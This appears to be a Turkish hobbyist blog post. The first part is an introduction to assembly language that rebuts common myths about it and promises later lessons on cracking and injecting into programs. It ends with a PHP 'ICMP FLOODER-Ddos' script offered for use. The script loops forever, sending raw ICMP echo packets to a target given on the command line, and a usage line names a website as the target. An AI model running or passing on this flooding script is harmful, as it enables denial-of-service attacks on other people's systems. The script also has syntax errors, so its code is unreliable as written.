Assembly Nedir Ne Değildir?

Merhaba Gençlik.
Ben matrix1461. https://erenkuyucu.wordpress.com un sahibi bir janiboyum.Sizlere
Assembly programlama dilini elimden geldiğince anlatacağım.Anlatım
çok uzun olacak fakat sürekli kullanacağınız komutları vs şeyleri
bir e-book halinde yayınlayacağım.Ben de öğreniyorum bu dili.Zaten
bildinizmi bilgisayarınız tam olarak sizin olacak.Çoğunuz Windows
kullanıyorsunuz ve arka planda tam olarak ne olduğunu görmüyorsunuz.
Derslerimiz ilerledikçe arada programlara inject ve crack olaylarını da
göstereceğim.Anlatımlarım çoğunlukla sade olur.Ancak arada sıkılabilir
ve kısa sürede sonuç alamayabilirsiniz. Zaten adamlar yaklaşık 60 sene-
lik bir çaba ile bugüki pc leri yaparken bizim 1 ay içinde asm öğrenme-
miz tamamen bir hayaldir.Bu derslere altın bir anahtar gibi bakın.
Assembly bilirseniz amerikada çok iyi bir işe girebilirsiniz.”Amerika”
sözüne dikkat edin. Türkiye’de daha yerli bir işletim sistemimiz yok.
En son csystem adlı bir sitede görmüştüm linux tarzı birşeyler yapmaya
çalışıyorlar fakat kodlarında hata çok fazla.Olmaz yani.Belli sayıda
dersten sonra ek kaynaklara bakarak kendi işletim sisteminizi oluştur-
maya başlayabilirsiniz.6 ay sonra tamamen elim boşa çıkacak ve jamele
olacağım(jani-amele). Öyle işte. Kafanız benim derslerimle ilgili bir
yere takılırsa mesaj atın ve konu altlarına yazın. Ancak daha gösterme-
diğim dersler hakkında mesaj atmayın oyarım.

Assembly Dili hakkında ne biliyorsunuz bilmiyorum ancak derslere önyargı
ile bakanlar olacak illaki. 21. yüzyıldayız hala asm ile mi uğraşacağım
vs vs. Çoğu vb6 da downloader vs yazan adam 1 kb lik downloader yazsa
göbek atar. sizin için 50 satır koddan ibaret bu olay. Zaten kodları
derlediğimiz zaman kodlar bytler ile görünecek.Cracking vs olaylar
için de lazım asm.

Assembly hakkında yanlış bilinenler:

*Assembly zor öğrenilir
*Assembly nin kod okunabilirliği zordur.
*Assemblyde zor hata giderilir
*Assembly kod yazmak zordur
*Assembly programlama zaman alıcıdır.
*Geliştirilen programlama ve derleyici teknolojileri assembly e olan
ihtiyacı ortadan kaldırmıştır.
*Bugünki makineler hızlı olduğundan dolayı asm kullanmaya gerek yoktur
*Bilgisayarların hafızası bugün çok yüksek, assembly de olan yer kap-
lamama özelliğine hiç gerek yok

Doğruları:
*Assembly zor öğrenilir:
Hiçbir dil kolay öğrenilmez. Assembly de olan kilit noktaları bildik-
ten sonra hiç bir sıkıntınız yoktur.Sürekli güncellenmez ,masm kullan-
madıkça yeni api ler öğrenmeye ihtiyacınız yoktur.
Geri kalan tüm modern dillerde ise sürekli yeni şeyler öğrenme ihtiya-
cınız vardır

*Assembly kodları zor okunur:
Assembly kodlarının zor okunduğu kanısı yanlıştır.Çünkü her dilde
kod okuma zordur. Bir satırı bile atlasanız kodu anlayamazsınız.Yani
bu özellik programlama dillerinin genel özelliğidir.

*Assembly de hata gidermek zordur:
NE ayaksınız diyorum bunu diyenlere. Sanki vb6 da program hatası gideri-
liyormuş gibi anca artistlik yapsalar.

*Assembly programlamak zaman alıcıdır:
Kim diyorsa program yazmadığından eminim.

*Derleyici ve programlama dilleri teknolojileri gelişti:
Ne ayaksınız diyorum tekrardan. Microsoft bitse emin olun programcıların
yüzde 90 nı işsiz kalır. Çünkü çoğu ileri c ve assembly bilmediğinden
linux a geçme şansı olmaz :)

*Bugünün makinelerinin hafızaları fazla:
Fazla olduğundan dolayı çökmeler oluşuyor pc lerde değil mi? :)
Hafıza yönetimi her türlü dilde lazımdır.Mesela VB.net de variant
gibi bir veri türü var. Onun tam olarak ne olduğu bilinmedğiinden
program yavaşlar.

Assembly Hakkında Neleri Doğru Biliyoruz:
*Hızlı. Assembly programlamada işlemci 100 komut işleyeceğine kodunuz
sayesinde 10 kod işliyor. Bu da size 10 kat hız olarak geri dönüyor.
*Küçüklük.Assemly programları 100’e 10 benzetmesinden doalyı küçüktür

ICMP FLOODER-Ddos

######################################################################################

<?php
echo “Coded By matrix1461-ICMP FLOODER-Ddos”;
$site=argv[0];
error_reporting(0);
set_time_limit(0);
echo “\n Attacking”;
while(1){
// 08 (ECHO), 00 (No Code), 10 26 (Checksum), 74 65 73 74 (The data: “test”)
$dataOut = “\x08\x00\x10\x26\x74\x65\x73\x74”;

// Raw socket, ICMP protocol
$socket = socket_create(AF_INET, SOCK_RAW, 1);

// Non blocking as in the actual script it is many sockets to different machines
socket_set_nonblock($socket);

// Connect to local machine (or any machine)
socket_connect($socket, $site, null);

// Send $dataOut
@socket_write($socket, $dataOut, strlen($dataOut));

// Close socket
socket_close($socket);}
?>

############################################################################################################
Bu Scriptim ICMP flood ddos artık her ne derseniz onu gerçekleştirmeye yarar 😀
kullanımı:php flooder.php website.com